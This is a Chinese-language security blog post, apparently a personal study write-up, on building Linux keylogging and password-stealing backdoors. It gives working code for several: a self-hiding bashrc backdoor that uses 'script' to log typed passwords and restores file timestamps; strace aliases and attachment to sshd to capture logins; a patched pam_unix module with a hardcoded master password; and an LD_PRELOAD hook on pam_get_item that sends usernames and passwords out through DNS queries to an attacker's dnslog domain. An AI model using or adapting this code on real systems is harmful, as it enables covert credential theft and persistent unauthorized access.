Linux键盘记录后门

0x01 前言

本文在编写时参考了以下文章,本文是对以下文章的学习记录.主要记录键盘记录后门相关的实现和利用

0x02 script键盘记录后门

Bash配置文件加载顺序

当一个Linux用户正常的以交互方式启动bash 时,将会根据顺序读取以下文件的环境变量(不同shell可能不一样)

如:Debian 10的bash.

/etc/profile -> /etc/bash.bashrc ->~/.bash_profile(如果不存在就会依次去尝试读~/.bash_login或者~/.profile) ->~/.bashrc

当退出登录时 就会去读~/.bash_logout.

image-20220314142537137

而这些配置文件,是以shell语言编写的,简而言之就是,当正常登录的时候bash会执行这些配置文件的命令,既然可以执行命令 那我们岂不是可以 搞点事情?当用户登录时执行我们的命令?

image-20220314150900675

Script命令

理解了简单的bash启动流程后,来看个命令sciprt.先来看看他的帮助手册吧:man7_script

image-20220314155128863

关注一下这两段介绍:

script命令会将终端会话里的所有内容以保存成文件,可以通过部分参数来打开时间开关,如果需要通过scriptereplay来重放会话,那么计时日志是必须的参数.

如果使用–log-in或者–log-io参数可能会存在安全风险,因为会记录终端输入比如密码之类的敏感信息

诶 会记录密码啊,你说这个我就感兴趣了啊,我们来看看要怎么才能记录到我们终端输入的密码:

1
script -T time.txt -B tmp.txt #-T 是记录时间戳,-T可不要.-B将输入输出文件都保存到一个文件上,没有-B不行.

image-20220314200219896

看描述–log-io相当于指定了--log-in--log-out的参数,所以尝试分别指定--log-in--log-out为相同的文件 看能不能获得和--log-io相同的效果

1
script -I test.txt -O test.txt -T time #指定-I 和 -O 为同一个文件

image-20220314200613017

但是文件分开记录就不行

image-20220314201059600

根据man手册,我们可以知道script是在2.35版本之后引入的logstream功能所以2.35之前的没有logstream的功能,自然就无法用这种方法记录密码.

image-20220314203108658

script各版本发布的时间:

image-20220314210331082

那么问题来了,我们要怎么利用呢,还记得文章开头的bashrc文件吗.是的,我们只需要把以下命令写入到对应用户的bashrc文件中,每次登录bash后就会运行.当然你也可以修改成更隐蔽一点的文件名

1
2
3
4
5
6
if [ -f /tmp/script.lock ];then
rm /tmp/script.lock
else
echo lock > /tmp/script.lock
exec script -B /tmp/test -aqf
fi

这种方案的话其实很容易被发现..也很可疑.我们来看看另外一种实现

CodeHz的Bashrc-BackDoor

Github:codehz/bashrc-backdoor(还有利用/dev/tcp上传记录日志文件的实现)

codehz佬的这个好处在很难被用户检测到,而且不依赖其他东西.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
# CUSTIMIZE BEFORE UPLOAD

fakerc=~/.bаsh_login #注意这里的a是其他编码的
logfile=~/.bаsh_cache #注意这里的a是其他编码的
waitsec=1
changetime=$(stat -c %Y ~/.bashrc) #bashrc的时间戳

read script <<EOF
exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'"
EOF
quoted=$(printf "%q" "$script")
#afqc 追加 时刻刷新 安静模式 命令模式 bash --rcfile ~/.bash_login 指定bash的配置文件为 .bash_login

# UI BEGIN 把上面的变量配置输出给人看

print() { echo -e "$*"; }
printvar() { printf " + \e[1;32m%s\e[m = \e[4;5m%s\e[m\n" $1 "${!1}"; }

printvar fakerc
printvar logfile
printvar script
printvar quoted

print "\e[5;7m wait for \e[1m$waitsec\e[0;5;7m secs, ctrl+c to interrupt \e[m"
sleep $waitsec
print "installing..."

# UI END


cat >"$fakerc" <<EOF #将以下内容写入$fakerc文件
self=\$(cat "$fakerc") #读取fakerc的文件内容
self=\$(printf "%q" "\$self") #转义特殊字符
rm -f "$fakerc" # 删除fakerc文件,隐藏自身
sed -i "/^exec script -B/d" ~/.bashrc #将bashrc中的script记录命令删除
touch -d @$changetime ~/.bashrc #恢复修改前的时间戳
trap "echo $quoted >> ~/.bashrc && echo \$self > '$fakerc'" EXIT # 当收到EXIT信号时 执行命令:echo 转义后的$script 追加到~/.bashrc 和fakerc内容写入到fakerc文件里面
unset self #取消变量
. ~/.bashrc # 执行正确的bashrc 避免被用户发现异常
EOF #结束
echo $script >> ~/.bashrc #将script变量追加到bashrc文件中

方法是好方法,但是我感觉有点bug,比如fakerc和logfile的a用其他编码,codehz佬说是为了避免直接被bash补全到,但是实际上使用会变成:.b'$'\320\260''sh_login',总感觉更加可疑了呢.

并且我这虚拟机本地复现使用 ssh登录就会这样,先是无响应一会,然后返回错误信息:

image-20220315140810558

开个pspy看看它在干嘛

image-20220315141013107

死循环,也许是耗尽了系统文件数后返回了 一开始的错误信息

1
script: failed to create pseudo-terminal: No such file or directory

另外上面说到有点难检测 因为,用户如果处于登录状态的话

image-20220315150418778

如果sb2ywa用户退出登录的话,再来查看文件内容,截然不同了:

image-20220315150535973

存在的问题:

  1. ssh登录无法记录,暂时不知道原因是什么
  2. 由于是追加记录 如果用户活动的时间比较久 cat了很多大文件,,那么相对应的 日志文件大小会十分的大.
  3. 需要script 2.35以上

优点:

  1. 较难发现.
  2. 没有过多的依赖

有意思的命令

还记得前面的-T参数吗 这个是用来记录时序的,如果在执行script时带上这个参数,那我们就可以用scriptreplay或者是scriptelive命令来回放自己当时script操作的内容和终端输出.

1
2
3
#还可以使用-d来调整播放速度
scriptreplay -B tmp.txt -T time.txt
scriptlive -t time.txt -B tmp.txt

0x03 Strace 记录密码

安装strace

1
2
apt install strace -y
yum install strace -y

strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state.

System administrators, diagnosticians and trouble-shooters will find it invaluable for solving problems with programs for which the source is not readily available since they do not need to be recompiled in order to trace them.

strace 是一个集诊断、调试、统计于一体的工具,通常用来对程序的系统调用,信号传递的跟综结果对程序进行分析.而ptrace是一个Linux系统提供的一个对系统调用的拦截的一个系统调用函数.这个和本章内容关系不大 简单带过,我们只需要知道strace依赖于ptrace系统调用就行.

而我们可以通过strace获取进程的输入,自然也是依赖于ptrace,若ptrace被禁用,该攻击方式也无法使用.而yama是什么?Yama源码位于security/yama/,它基于LSM实现,管理员可以通过/proc/sys/kernel/yama/ptrace_scope来配置ptrace保护级别.

该项配置的详细说明:Yama

Yama is a Linux Security Module that collects system-wide DAC security
protections that are not handled by the core kernel itself. This is
selectable at build-time with CONFIG_SECURITY_YAMA, and can be controlled
at run-time through sysctls in /proc/sys/kernel/yama:

  • ptrace_scope

  • The sysctl settings (writable only with CAP_SYS_PTRACE) are:
    
    0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other
          process running under the same uid, as long as it is dumpable (i.e.
        did not transition uids, start privileged, or have called
        prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is
        unchanged.
    
    1 - restricted ptrace: a process must have a predefined relationship with the inferior it wants to call PTRACE_ATTACH on. By default,this relationship is that of only its descendants when the above classic criteria is also met. To change the relationship, an inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare an allowed debugger PID to call PTRACE_ATTACH on the inferior. Using PTRACE_TRACEME is unchanged.
      2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.
    
    3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via PTRACE_TRACEME. Once set, this sysctl value cannot be changed.
    
    
1
2
3
4
0 classic 经典配置,可以以ptrace_attach到任何其他在同一uid下运行的进程,只要它是可转储的(比如无转换uid,没有特权,没有调用其他uid) 宽容模式
1 restricted 限制级别,一个进程只能attach他有后代(子进程)
2 admin-only 只限特权 拥有CAP_SYS_PTRACE能力的进程才可以使用ptrace
3 no attach 完全禁用,不允许任何进程执行ptrace,一旦设置为该值,就不能再更改,即使root也不行。

查看ptrace权限

1
2
3
cat /proc/sys/kernel/yama/ptrace_scope

sysctl -a|grep ptrace

修改ptrace权限

1
2
3
4
5
6
7
echo 0 > /proc/sys/kernel/yama/ptrace_scope

sysctl -w kernel.yama.ptrace_scope="0" && sysctl -p

直接修改/etc/sysctl.conf

# 当kernel.yama.ptrace_scope的值设置为3后,必须重启系统后才能更改

strace常用参数

完整帮助手册:man:strace

1
2
3
4
5
6
7
8
9
10
11
12
-p pid 跟踪指定进程pid
-s strsize 指定输出的字符串的最大长度
-o output 输出文件
-e trace=read wirte 跟踪这两个系统调用 默认为all
file 文件操作相关的系统调用
process 进程控制相关的系统调用
network 网络相关的系统调用
ipc 进程通讯相关的系统调用
还有很多系统调用....需要去阅读unix高级编程等相关书籍了..
-t 在输出中的每一行前加上时间信息.
-f 跟踪由fork调用所产生的子进程.
-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.

方法一 strace启动进程

方法一是修改bashrc 程序的别名,使运行指定程序时自动strace系统调用,收集键盘输入

1
2
# ssh
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'

image-20220314223211793

Su虽然能正常记录,但是会一直提示权限认证失败.如果需要正常使用的话则需要给strace添加suid权限…(是否有点…)

1
2
alias su='strace -o /tmp/supwd-`date    '+%d%h%m%s'`.log -e read,write -s 32 su'
alias sudo='strace -o /tmp/sudopwd-`date '+%d%h%m%s'`.log -e read,write -s 32 sudo'

image-20220314223115052

直接在codzhz佬的脚本基础上简单改改就能获得一个在bashrc中隐藏alias的脚本(但是执行alias的话还是暴露..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/bash
# CUSTIMIZE BEFORE UPLOAD

fakerc=~/.bash_login
logfile=~/.bash_cache
waitsec=1
changetime=$(stat -c %Y ~/.bashrc)

read script <<EOF
exec bash --rcfile $fakerc
EOF
#read script << EOF
#exec script -B "$logfile" -afqc "bash --rcfile $fakerc"
#EOF
quoted=$(printf "%q" "$script")

# UI BEGIN

print() { echo -e "$*"; }
printvar() { printf " + \e[1;32m%s\e[m = \e[4;5m%s\e[m\n" $1 "${!1}"; }

printvar fakerc
printvar logfile
printvar script
printvar quoted

print "\e[5;7m wait for \e[1m$waitsec\e[0;5;7m secs, ctrl+c to interrupt \e[m"
sleep $waitsec
print "installing..."

# UI END

cat > "$fakerc" <<EOF
self=\$(cat "$fakerc")
self=\$(printf "%q" "\$self")
rm -f "$fakerc"
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
sed -i "/^exec bash/d" ~/.bashrc
touch -d @$changetime ~/.bashrc
trap "echo $quoted >> ~/.bashrc && echo \$self > '$fakerc'" EXIT
unset self
. ~/.bashrc
EOF
echo $script >> ~/.bashrc

方法二 strace 已有进程

这个操作需要root权限.

1
2
3
4
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

#匹配密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

image-20220315173815033

所以其实strace bash进程也是可以的…(就是数据特别多)

1
(strace -f -F -p `ps aux|grep '\-bash'|grep -v 'grep'|grep -v 'root'|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.bash.log2 &)

image-20220315193428120

0x04 PAM记录密码

PAM(Pluggable Authentication Modules)是Linux系统上用户对用户进行身份验证对身份验证基础结构.感觉相当于Windows的SSP.

在之前的文章,我们使用了PAM添加了一个google验证码:Linux添加Google验证,这次试试使用PAM添加记录密码的后门.

先来查询下pam版本

1
2
3
4
# redhat or centos
rpm -qa | grep pam
# debian ubuntu kali ...
dpkg -l | grep pam

image-20220315215423458

替换pam_unix.so

感觉在实战中,这个相当的受限..

手动编译替换

下载系统对应的PAM版本源码并解压

1
2
3
tar xzf v1.4.0.tar.gz
cd linux-pam-1.4.0/modules/pam_unix/
vim pam_unix_auth.c

image-20220317005901537

可以在这里修改认证逻辑,改成使用万能密码的后门,或是记录密码的功能。

image-20220317010249387

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//万能密码
if(strcmp("atsud0", p) == 0 ){
return PAM_SUCCESS;
}
//记录密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.pass.log", "a");
fprintf(fp, "username: %s , password: %s \n", name, p);
fclose(fp);
}

name = p = NULL;

AUTH_RETURN;

image-20220317010820283

安装依赖

1
2
3
4
5
apt install automake pkg-config make

#提示yacc command not found
apt install bison
apt install byacc

编译

1
2
3
4
cd linux-pam-1.4.0
./autogen.sh
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

编译好的在/linux-pam-1.4.0/modules/pam_unix/.libs/

系统不同位数不同pam_unix.so路径也不一样,可以使用find命令去寻找.备份原pam_unix.so后替换即可.

1
find / -name "pam_unix.so"

image-20220317020750487

替换后,使用”atsud0”即可登录系统.同时用户的密码也能记录在/tmp/.pass.log:

image-20220317020917139

若目标系统不存在编译的环境,我们可以自己在外部系统上编译后上传.

修改时间戳

image-20220317021257527

1
touch  pam_unix.so  -r  pam_issue.so

image-20220317021420223

脚本一键编译

使用9bie大佬的改过的脚本:9bie/linux-pam-backdoor

这里指定版本后,会去PAM-SourceCode-Library中对应版本的源码 然后下载回来编译..不过我环境是1.4.0,,好像这里替换成1.3.0之后也没什么影响??(但是还是建议尽量保持一致)

1
./backdoor.sh -m save -v 1.3.0 -o /tmp/save.txt

image-20220315224550349

除了可以记录密码,也可以实现万能密码登录.

PAM和LD_PRELOAD劫持结合DNS带外发送密码

这里简单介绍下LD_PRELOAD.LD_PRELOAD其实是动态链接的一个环境变量。而动态链接器则是:

动态链接器是操作系统的一部分,负责按照可执行程序运行时的需要装入与链接共享库。装入是指把共享库在永久存储上的内容复制到内存,链接是指填充跳转表(jump table)与重定位指针。

当程序需要使用动态链接库里的函数时,由ld.so复制加载. 它会先去根据以下顺序去搜索并加载

  • 加载环境变量LD_PRELOAD指定的动态库
  • 加载文件/etc/ld.so.preload指定的动态库
  • 搜索环境变量LD_LIBRARY_PATH指定的动态库搜索路径
  • 搜索路径/lib64下的动态库文件

注意:ld.so.conf 是编译程序时找链接库的配置文件

了解完了动态链接的加载顺序, 那么我们再接着来了解一个pam_get_item函数.

The pam_get_item function allows applications and PAM servicemodules to access and retrieve PAM informations of item_type.

Upon successful return, item contains a pointer to the value of the corresponding item. Note, this is a pointer to the actual data and should not be free()’ed or over-written! The following values are supported for item_type

Pam_get_item是让应用和pam模块去获取pam信息的,当item_type定义为pam_authok时,将会使用pam_sm_authenticatepam_sm_chauthtok去传递身份令牌。

而pam_get_user是用来获取用户名的。

If a service module wishes to obtain the name of the user, it hould not use this function, but instead perform a call to pam_get_user(3).
Only a service module is privileged to read the authentication tokens, PAM_AUTHTOK and PAM_OLDAUTHTOK.

并且只有服务模块的时候才可以读取认证凭据。

所以我们可以通过劫持pam_get_item来收集凭据。

DNS部分代码来自: https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168

PAM_get_item劫持部分代码来自: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
//DNS Query Program on Linux
//Author : Silver Moon ([email protected])
//Dated : 29/4/2009

//Header Files
#define _GNU_SOURCE
#include<stdio.h> //printf
#include<string.h> //strlen
#include<stdlib.h> //malloc
#include<sys/socket.h> //you know what this is for
#include<arpa/inet.h> //inet_addr , inet_ntoa , ntohs etc
#include<netinet/in.h>
#include<unistd.h> //getpid
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <security/pam_modutil.h>
#include <sys/types.h>
#include <dlfcn.h>
#include <sys/stat.h>
#include <signal.h>

//List of DNS Servers registered on the system
char dns_servers[10][100];
int dns_server_count = 0;
//Types of DNS resource records :)

#define T_A 1 //Ipv4 address
#define T_NS 2 //Nameserver
#define T_CNAME 5 // canonical name
#define T_SOA 6 /* start of authority zone */
#define T_PTR 12 /* domain name pointer */
#define T_MX 15 //Mail server

//Function Prototypes
void ngethostbyname (unsigned char* , int);
void ChangetoDnsNameFormat (unsigned char*,unsigned char*);
unsigned char* ReadName (unsigned char*,unsigned char*,int*);
void get_dns_servers();

//DNS header structure
struct DNS_HEADER
{
unsigned short id; // identification number

unsigned char rd :1; // recursion desired
unsigned char tc :1; // truncated message
unsigned char aa :1; // authoritive answer
unsigned char opcode :4; // purpose of message
unsigned char qr :1; // query/response flag

unsigned char rcode :4; // response code
unsigned char cd :1; // checking disabled
unsigned char ad :1; // authenticated data
unsigned char z :1; // its z! reserved
unsigned char ra :1; // recursion available

unsigned short q_count; // number of question entries
unsigned short ans_count; // number of answer entries
unsigned short auth_count; // number of authority entries
unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION
{
unsigned short qtype;
unsigned short qclass;
};

//Constant sized fields of the resource record structure
#pragma pack(push, 1)
struct R_DATA
{
unsigned short type;
unsigned short _class;
unsigned int ttl;
unsigned short data_len;
};
#pragma pack(pop)

//Pointers to resource record contents
struct RES_RECORD
{
unsigned char *name;
struct R_DATA *resource;
unsigned char *rdata;
};

//Structure of a Query
typedef struct
{
unsigned char *name;
struct QUESTION *ques;
} QUERY;

int main( int argc , char *argv[])
{
unsigned char hostname[100];

//Get the DNS servers from the resolv.conf file
get_dns_servers();

//Get the hostname from the terminal
printf("Enter Hostname to Lookup : ");
scanf("%s" , hostname);

//Now get the ip of this hostname , A record
ngethostbyname(hostname , T_A);

return 0;
}

/*
* Perform a DNS query by sending a packet
* */
void ngethostbyname(unsigned char *host , int query_type)
{
unsigned char buf[65536],*qname,*reader;
int i , j , stop , s;

struct sockaddr_in a;

struct RES_RECORD answers[20],auth[20],addit[20]; //the replies from the DNS server
struct sockaddr_in dest;

struct DNS_HEADER *dns = NULL;
struct QUESTION *qinfo = NULL;

printf("Resolving %s" , host);

s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries

dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers

//Set the DNS structure to standard queries
dns = (struct DNS_HEADER *)&buf;

dns->id = (unsigned short) htons(getpid());
dns->qr = 0; //This is a query
dns->opcode = 0; //This is a standard query
dns->aa = 0; //Not Authoritative
dns->tc = 0; //This message is not truncated
dns->rd = 1; //Recursion Desired
dns->ra = 0; //Recursion not available! hey we dont have it (lol)
dns->z = 0;
dns->ad = 0;
dns->cd = 0;
dns->rcode = 0;
dns->q_count = htons(1); //we have only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = 0;

//point to the query portion
qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)];

ChangetoDnsNameFormat(qname , host);
qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it

qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc
qinfo->qclass = htons(1); //its internet (lol)

printf("\nSending Packet...");
if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest)) < 0)
{
perror("sendto failed");
}
printf("Done");

//Receive the answer
i = sizeof dest;
printf("\nReceiving answer...");
if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0)
{
perror("recvfrom failed");
}
printf("Done");

dns = (struct DNS_HEADER*) buf;

//move ahead of the dns header and the query field
reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)];

printf("\nThe response contains : ");
printf("\n %d Questions.",ntohs(dns->q_count));
printf("\n %d Answers.",ntohs(dns->ans_count));
printf("\n %d Authoritative Servers.",ntohs(dns->auth_count));
printf("\n %d Additional records.\n\n",ntohs(dns->add_count));

//Start reading answers
stop=0;

for(i=0;i<ntohs(dns->ans_count);i++)
{
answers[i].name=ReadName(reader,buf,&stop);
reader = reader + stop;

answers[i].resource = (struct R_DATA*)(reader);
reader = reader + sizeof(struct R_DATA);

if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address
{
answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len));

for(j=0 ; j<ntohs(answers[i].resource->data_len) ; j++)
{
answers[i].rdata[j]=reader[j];
}

answers[i].rdata[ntohs(answers[i].resource->data_len)] = '\0';

reader = reader + ntohs(answers[i].resource->data_len);
}
else
{
answers[i].rdata = ReadName(reader,buf,&stop);
reader = reader + stop;
}
}

//read authorities
for(i=0;i<ntohs(dns->auth_count);i++)
{
auth[i].name=ReadName(reader,buf,&stop);
reader+=stop;

auth[i].resource=(struct R_DATA*)(reader);
reader+=sizeof(struct R_DATA);

auth[i].rdata=ReadName(reader,buf,&stop);
reader+=stop;
}

//read additional
for(i=0;i<ntohs(dns->add_count);i++)
{
addit[i].name=ReadName(reader,buf,&stop);
reader+=stop;

addit[i].resource=(struct R_DATA*)(reader);
reader+=sizeof(struct R_DATA);

if(ntohs(addit[i].resource->type)==1)
{
addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len));
for(j=0;j<ntohs(addit[i].resource->data_len);j++)
addit[i].rdata[j]=reader[j];

addit[i].rdata[ntohs(addit[i].resource->data_len)]='\0';
reader+=ntohs(addit[i].resource->data_len);
}
else
{
addit[i].rdata=ReadName(reader,buf,&stop);
reader+=stop;
}
}

//print answers
printf("\nAnswer Records : %d \n" , ntohs(dns->ans_count) );
for(i=0 ; i < ntohs(dns->ans_count) ; i++)
{
printf("Name : %s ",answers[i].name);

if( ntohs(answers[i].resource->type) == T_A) //IPv4 address
{
long *p;
p=(long*)answers[i].rdata;
a.sin_addr.s_addr=(*p); //working without ntohl
printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
}

if(ntohs(answers[i].resource->type)==5)
{
//Canonical name for an alias
printf("has alias name : %s",answers[i].rdata);
}

printf("\n");
}

//print authorities
printf("\nAuthoritive Records : %d \n" , ntohs(dns->auth_count) );
for( i=0 ; i < ntohs(dns->auth_count) ; i++)
{

printf("Name : %s ",auth[i].name);
if(ntohs(auth[i].resource->type)==2)
{
printf("has nameserver : %s",auth[i].rdata);
}
printf("\n");
}

//print additional resource records
printf("\nAdditional Records : %d \n" , ntohs(dns->add_count) );
for(i=0; i < ntohs(dns->add_count) ; i++)
{
printf("Name : %s ",addit[i].name);
if(ntohs(addit[i].resource->type)==1)
{
long *p;
p=(long*)addit[i].rdata;
a.sin_addr.s_addr=(*p);
printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
}
printf("\n");
}
return;
}

/*
*
* */
u_char* ReadName(unsigned char* reader,unsigned char* buffer,int* count)
{
unsigned char *name;
unsigned int p=0,jumped=0,offset;
int i , j;

*count = 1;
name = (unsigned char*)malloc(256);

name[0]='\0';

//read the names in 3www6google3com format
while(*reader!=0)
{
if(*reader>=192)
{
offset = (*reader)*256 + *(reader+1) - 49152; //49152 = 11000000 00000000 ;)
reader = buffer + offset - 1;
jumped = 1; //we have jumped to another location so counting wont go up!
}
else
{
name[p++]=*reader;
}

reader = reader+1;

if(jumped==0)
{
*count = *count + 1; //if we havent jumped to another location then we can count up
}
}

name[p]='\0'; //string complete
if(jumped==1)
{
*count = *count + 1; //number of steps we actually moved forward in the packet
}

//now convert 3www6google3com0 to www.google.com
for(i=0;i<(int)strlen((const char*)name);i++)
{
p=name[i];
for(j=0;j<(int)p;j++)
{
name[i]=name[i+1];
i=i+1;
}
name[i]='.';
}
name[i-1]='\0'; //remove the last dot
return name;
}

/*
* Get the DNS servers from /etc/resolv.conf file on Linux
* */
void get_dns_servers()
{
FILE *fp;
char line[200] , *p;
if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
{
printf("Failed opening /etc/resolv.conf file \n");
}

while(fgets(line , 200 , fp))
{
if(line[0] == '#')
{
continue;
}
if(strncmp(line , "nameserver" , 10) == 0)
{
p = strtok(line , " ");
p = strtok(NULL , " ");

//p now is the dns ip :)
//????
}
}

strcpy(dns_servers[0] , "208.67.222.222");
strcpy(dns_servers[1] , "208.67.220.220");
}

/*
* This will convert www.google.com to 3www6google3com
* got it :)
* */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
int lock = 0 , i;
strcat((char*)host,".");

for(i = 0 ; i < strlen((char*)host) ; i++)
{
if(host[i]=='.')
{
*dns++ = i-lock;
for(;lock<i;lock++)
{
*dns++=host[lock];
}
lock++; //or lock=i+1;
}
}
*dns++='\0';
}



//----------------
// pam_get_item劫持部分
typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item);

//orig_ftype定义为dlsym返回动态链接库的函数指针,就是原pam_get_item函数的位置。
int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
int retval;
int pid;
const char *name;
orig_ftype orig_pam;
orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");

// Call original function so we log password
retval = orig_pam(pamh, item_type, item);

// Log credential
if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
unsigned char hostname[256];
get_dns_servers();
pam_get_user((pam_handle_t *)pamh, &name, NULL);
snprintf(hostname, sizeof(hostname), "%s.%s.你的.dnslog.cn", name, *item); // Change it with your domain
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
}

return retval;
}
1
2
3
4
5
6
7
8
9
10
apt install libpam0g-dev #pam相关头文件
gcc -fPIC -sharded pam_dns.c -o test.so
pkill sshd
export LD_PRELOAD=/root/test.so #加载到全局动态链接 或者LD_PRELOAD=/root/test.so /usr/sbin/sshd -D &
#

/usr/sbin/sshd -D & #启动sshd
unset LD_PRELOAD #还原动态链接
#如果出现Missing privilege separation directory: /run/sshd
#sudo mkdir /run/sshd

image-20220317133007534

image-20220317125614053

image-20220317125919278

稍微改改源码就能实现记录本地密码的方式了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
int retval;
int pid;
const char *name;
orig_ftype orig_pam;
orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");

// Call original function so we log password
retval = orig_pam(pamh, item_type, item);

// Log credential
if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
get_dns_servers();
pam_get_user((pam_handle_t *)pamh, &name, NULL);
FILE *fp;
fp = open("/tmp/.pam.log", "a");
fprintf(fp,"username:%s,password:%s\n",name,*item);
fclose(fp);
}

return retval;
}

image-20220317155312451

简单改改实现的http发送(Demo 后续有空学学C再来优化)(搞不明白为什么curl不行):

http实现部分来自csdn c实现post请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
//
// Created by atsud0 on 2022/3/17.
//

//DNS Query Program on Linux
//Author : Silver Moon ([email protected])
//Dated : 29/4/2009

//Header Files
#define _GNU_SOURCE
#include <stdio.h> //printf
#include <string.h> //strlen
#include <stdlib.h> //malloc
#include <sys/socket.h> //you know what this is for
#include <arpa/inet.h> //inet_addr , inet_ntoa , ntohs etc
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h> //getpid
#include <time.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <security/pam_modutil.h>
#include <security/pam_appl.h>
#include <dlfcn.h>
#include <signal.h>
#include <curl/curl.h>

#define IPSTR "10.1.1.11"
#define PORT 80
#define BUFSIZE 1024

size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}

